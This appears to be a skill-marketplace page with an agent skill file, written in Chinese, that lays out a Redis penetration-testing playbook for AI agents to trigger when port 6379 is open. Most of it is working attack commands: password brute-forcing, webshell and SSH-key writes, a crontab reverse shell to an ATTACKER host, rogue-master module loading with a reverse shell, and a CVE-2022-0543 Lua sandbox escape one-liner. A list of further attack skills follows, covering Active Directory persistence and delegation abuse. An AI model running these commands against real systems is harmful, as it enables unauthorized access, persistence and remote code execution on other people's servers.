redis-pentesting
$
npx mdskill add wgpsec/AboutSecurity/redis-pentestingExecute Redis penetration tests on exposed 6379 services.
- Enables unauthorized access and remote code execution.
- Integrates with Nmap, Metasploit, and Redis CLI.
- Decides actions based on port status and authentication needs.
- Delivers results via detailed decision trees and command logs.
SKILL.md
.github/skills/redis-pentestingView on GitHub ↗
---
name: redis-pentesting
description: |
Redis 服务(6379 端口)渗透测试方法论。涵盖 Redis 服务发现、未授权访问、信息提取、写入 webshell、SSH 密钥写入、主从复制 RCE、Lua 沙箱逃逸。
当 Agent 扫描发现 6379 端口开放、需要测试 Redis 未授权访问、写入文件到目标、或利用 Redis 获取 RCE 时,触发此 Skill。
metadata:
tags:
- redis
- 6379端口
- 未授权访问
- webshell写入
- 主从复制rce
category: exploit/network-service
---
# Redis 渗透测试方法论 (6379)
## 深入参考
- Redis RCE 技术、Lua 沙箱逃逸 CVE、SSRF 结合利用详情 -> 读 [references/redis-techniques.md](references/redis-techniques.md)
---
## 整体决策树
```
发现 6379 端口开放
├─ Phase 1: 服务发现
│ ├─ Nmap 脚本扫描 -> 版本信息
│ ├─ 手动连接测试 (nc / redis-cli)
│ └─ 是否需要认证?
│ ├─ 无认证 -> 直接进入 Phase 3
│ └─ 需认证 -> Phase 2
├─ Phase 2: 认证与爆破
│ ├─ 默认密码尝试
│ ├─ 爆破 (hydra / nmap / medusa)
│ └─ AUTH <username> <password>
├─ Phase 3: 信息提取
│ ├─ INFO -> 系统信息、版本、内存、keyspace
│ ├─ CONFIG GET * -> 配置信息 (目录、文件名)
│ ├─ CLIENT LIST -> 连接客户端
│ └─ 数据库遍历 -> SELECT / KEYS * / GET
├─ Phase 4: 文件写入利用
│ ├─ Webshell 写入 (需知 Web 根目录)
│ ├─ SSH authorized_keys 写入
│ ├─ Crontab 写入
│ └─ 模板引擎覆盖
├─ Phase 5: 主从复制 RCE
│ ├─ redis-rogue-server -> 自动化 RCE
│ └─ 手动 SLAVEOF + MODULE LOAD
├─ Phase 6: Lua 沙箱逃逸
│ ├─ CVE-2022-0543 (Debian/Ubuntu lua 库逃逸)
│ ├─ CVE-2025-49844 (parser UAF)
│ ├─ CVE-2025-46817 (unpack 整数溢出)
│ └─ CVE-2025-46818 (元表跨用户代码执行)
└─ SSRF 场景
└─ 通过 SSRF 与 Redis 通信 (CRLF 注入)
```
---
## Phase 1: 服务发现
### 1.1 自动枚举
```bash
# Nmap Redis 信息脚本
nmap --script redis-info -sV -p 6379 <IP>
# Metasploit
msf> use auxiliary/scanner/redis/redis_server
```
### 1.2 手动连接
```bash
# nc 直接连接
nc -vn <IP> 6379
# redis-cli 连接
redis-cli -h <IP>
# 第一个命令: INFO
# 如果返回 -NOAUTH Authentication required. 则需要认证
```
---
## Phase 2: 认证与爆破
### 2.1 Redis 认证机制
Redis 默认无认证。可配置仅密码 (`requirepass`) 或用户名+密码 (`masteruser`)。
```bash
# 认证命令
AUTH <password>
AUTH <username> <password>
# 成功返回 +OK
```
### 2.2 凭据攻击决策树
```
认证测试
├─ 直接连接 -> INFO
│ ├─ 返回信息 -> 无需认证 -> Phase 3
│ └─ 返回 -NOAUTH -> 需要认证
├─ 爆破
│ ├─ hydra -P passwords.txt redis://<IP>
│ ├─ nmap --script redis-brute -p 6379 <IP>
│ └─ medusa -h <IP> -P passwords.txt -M redis
└─ 认证成功
└─ 进入 Phase 3
```
---
## Phase 3: 信息提取
### 3.1 基础信息收集
```bash
INFO # 系统、版本、内存、keyspace 信息
CLIENT LIST # 当前连接的客户端
CONFIG GET * # 获取所有配置
CONFIG GET dir # 当前工作目录 (文件写入关键)
CONFIG GET dbfilename # 数据库文件名
```
### 3.2 数据库遍历
```bash
INFO keyspace # 查看哪些数据库有数据
SELECT <db_number> # 切换数据库 (从 0 开始)
KEYS * # 列出所有键
GET <key> # 获取字符串值
TYPE <key> # 获取键类型
LRANGE <key> 0 -1 # 列表类型
HGETALL <key> # 哈希类型
DUMP <key> # 序列化导出
```
### 3.3 实时监控
```bash
MONITOR # 实时监控所有命令 (可捕获凭据)
SLOWLOG GET 25 # 最慢的 25 条查询
```
---
## Phase 4: 文件写入利用
### 4.1 写入决策树
```
CONFIG GET dir 获取当前目录
├─ 有 Web 服务
│ └─ Webshell 写入
│ ├─ CONFIG SET dir /usr/share/nginx/html
│ ├─ CONFIG SET dbfilename redis.php
│ ├─ SET test "<?php phpinfo(); ?>"
│ └─ SAVE
├─ 有 SSH 服务
│ └─ SSH 密钥写入
│ ├─ 生成 SSH 密钥对: ssh-keygen -t rsa
│ ├─ 写入公钥: SET ssh_key "\n\n<公钥内容>\n\n"
│ ├─ CONFIG SET dir /var/lib/redis/.ssh (或 /home/<user>/.ssh)
│ ├─ CONFIG SET dbfilename authorized_keys
│ └─ SAVE
├─ Linux 系统
│ └─ Crontab 写入
│ ├─ SET cron "\n*/1 * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'\n"
│ ├─ CONFIG SET dir /var/spool/cron/crontabs/ (Ubuntu)
│ │ 或 CONFIG SET dir /var/spool/cron/ (CentOS)
│ ├─ CONFIG SET dbfilename root
│ └─ SAVE
└─ 模板引擎环境
└─ 覆盖模板文件 -> 注入模板表达式 -> RCE
```
### 4.2 Webshell 写入
```bash
redis-cli -h <IP>
> CONFIG SET dir /usr/share/nginx/html
> CONFIG SET dbfilename redis.php
> SET test "<?php phpinfo(); ?>"
> SAVE
```
### 4.3 SSH 密钥写入
```bash
# 1. 生成密钥
ssh-keygen -t rsa -f /tmp/redis_rsa
# 2. 导入公钥到 Redis
(echo -e "\n\n"; cat /tmp/redis_rsa.pub; echo -e "\n\n") > /tmp/spaced_key.txt
cat /tmp/spaced_key.txt | redis-cli -h <IP> -x set ssh_key
# 3. 写入 authorized_keys
redis-cli -h <IP>
> CONFIG SET dir /var/lib/redis/.ssh
> CONFIG SET dbfilename authorized_keys
> SAVE
# 4. SSH 登录
ssh -i /tmp/redis_rsa redis@<IP>
```
---
## Phase 5: 主从复制 RCE
### 5.1 原理
将目标 Redis 设为攻击者控制的 master 的 slave,通过复制推送恶意 .so 模块,然后加载执行。
### 5.2 自动化利用
```bash
# redis-rogue-server — 自动获取 shell (Redis <= 5.0.5)
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ATTACKER_IP>
```
### 5.3 手动利用
```bash
# 1. 编译恶意模块
# https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
# 2. 让目标成为 slave
redis-cli -h <TARGET>
> SLAVEOF <ATTACKER_IP> 6379
# 3. 在攻击者 Redis 上设置模块数据
# 4. 加载模块
> MODULE LOAD /path/to/module.so
> system.exec "id"
> system.rev <ATTACKER_IP> 9999
# 5. 清理
> MODULE UNLOAD mymodule
> SLAVEOF NO ONE
```
---
## Phase 6: Lua 沙箱逃逸
### 6.1 逃逸决策树
```
Redis 版本已知 + 可执行 EVAL
├─ Debian/Ubuntu + Redis < 6.2.x 修补前
│ └─ CVE-2022-0543 — package.loadlib 逃逸
├─ Redis < 8.2.2 / 8.0.4 / 7.4.6 / 7.2.11 / 6.2.20
│ ├─ CVE-2025-49844 — Lua parser UAF (GC 竞态)
│ ├─ CVE-2025-46817 — unpack 整数溢出 (DoS/内存耗尽)
│ └─ CVE-2025-46818 — 元表污染 (跨用户代码执行)
└─ 其他版本
└─ searchsploit redis lua
```
### 6.2 CVE-2022-0543
```bash
# Debian/Ubuntu 特定: lua 库未正确沙箱化
redis-cli -h <IP> EVAL 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
```
---
## SSRF 结合利用
当发现 SSRF 漏洞且目标内网有 Redis 时,可通过 SSRF 发送 Redis 命令:
```
SSRF + Redis
├─ Redis 为明文协议 -> 可通过 HTTP 请求注入命令
├─ 利用 CRLF 注入构造 Redis 命令
└─ 典型场景: Gitlab SSRF + CRLF -> Redis queue -> RCE
```
More from wgpsec/AboutSecurity
- 401-403-bypass401/403 访问拒绝绕过方法论。当遇到管理后台、API 端点返回 401/403 Forbidden 时使用。覆盖路径操纵、HTTP 方法篡改、Header 注入、协议降级、组合攻击
- ad-acl-abuseActive Directory ACL 滥用攻击方法论。当 BloodHound 发现 GenericAll/WriteDACL/WriteOwner/GenericWrite/ForceChangePassword 等危险 ACE 时使用。覆盖 ACE 枚举、权限滥用链、Shadow Credentials、RBCD 攻击
- ad-delegation-attackKerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。
- ad-domain-attackActive Directory 域环境攻击全链路。当目标主机在域环境中(systeminfo 显示 Domain 非 WORKGROUP)、发现 88/389/636 端口、或获取到域用户凭据时使用。覆盖域信息收集、用户枚举、Kerberoasting、AS-REP Roasting、委派攻击、ACL 滥用、DCSync、Golden/Silver Ticket
- ad-persistenceAD 域环境持久化技术。当已获取域管/本地管理员权限、需要建立持久访问以确保重启或密码更改后仍能回到目标环境时使用。覆盖主机级持久化(计划任务/注册表Run/COM劫持/WMI事件订阅/Windows服务/启动文件夹)、域级持久化(Golden Ticket/Silver Ticket/Skeleton Key/DSRM/AdminSDHolder)、DCShadow/GoldenGMSA高级技术、清理命令与检测规避
- ad-trust-attack域信任关系攻击。当目标存在多域/多林环境时使用。包含父子域提权(Golden Ticket + ExtraSid)、跨林攻击(SID History/MSSQL Trust Links)、单向信任利用。已获取子域 Domain Admin 或发现信任关系时优先加载。
- adcs-certipy-attackActive Directory Certificate Services (ADCS) 证书攻击。当发现域内有 CA 服务器、ADCS Web Enrollment、证书模板配置错误时使用。覆盖 ESC1-ESC11 所有证书滥用路径、Certipy 工具链、证书伪造、NTLM 中继到 ADCS。发现 ADCS/CA/证书/certsrv 相关内容时一定要使用此技能
- adinfo-enum使用 Adinfo 进行 Active Directory 信息收集。当获得域用户凭据后需要快速收集域环境信息时使用。Adinfo 是一个快速 AD 信息收集工具,一条命令输出域控列表、域管用户、信任关系、GPO、SPN、委派配置等关键信息——比手动 LDAP 查询快得多。发现域环境后第一步信息收集使用此技能
- agent-security|
- ai-data-security|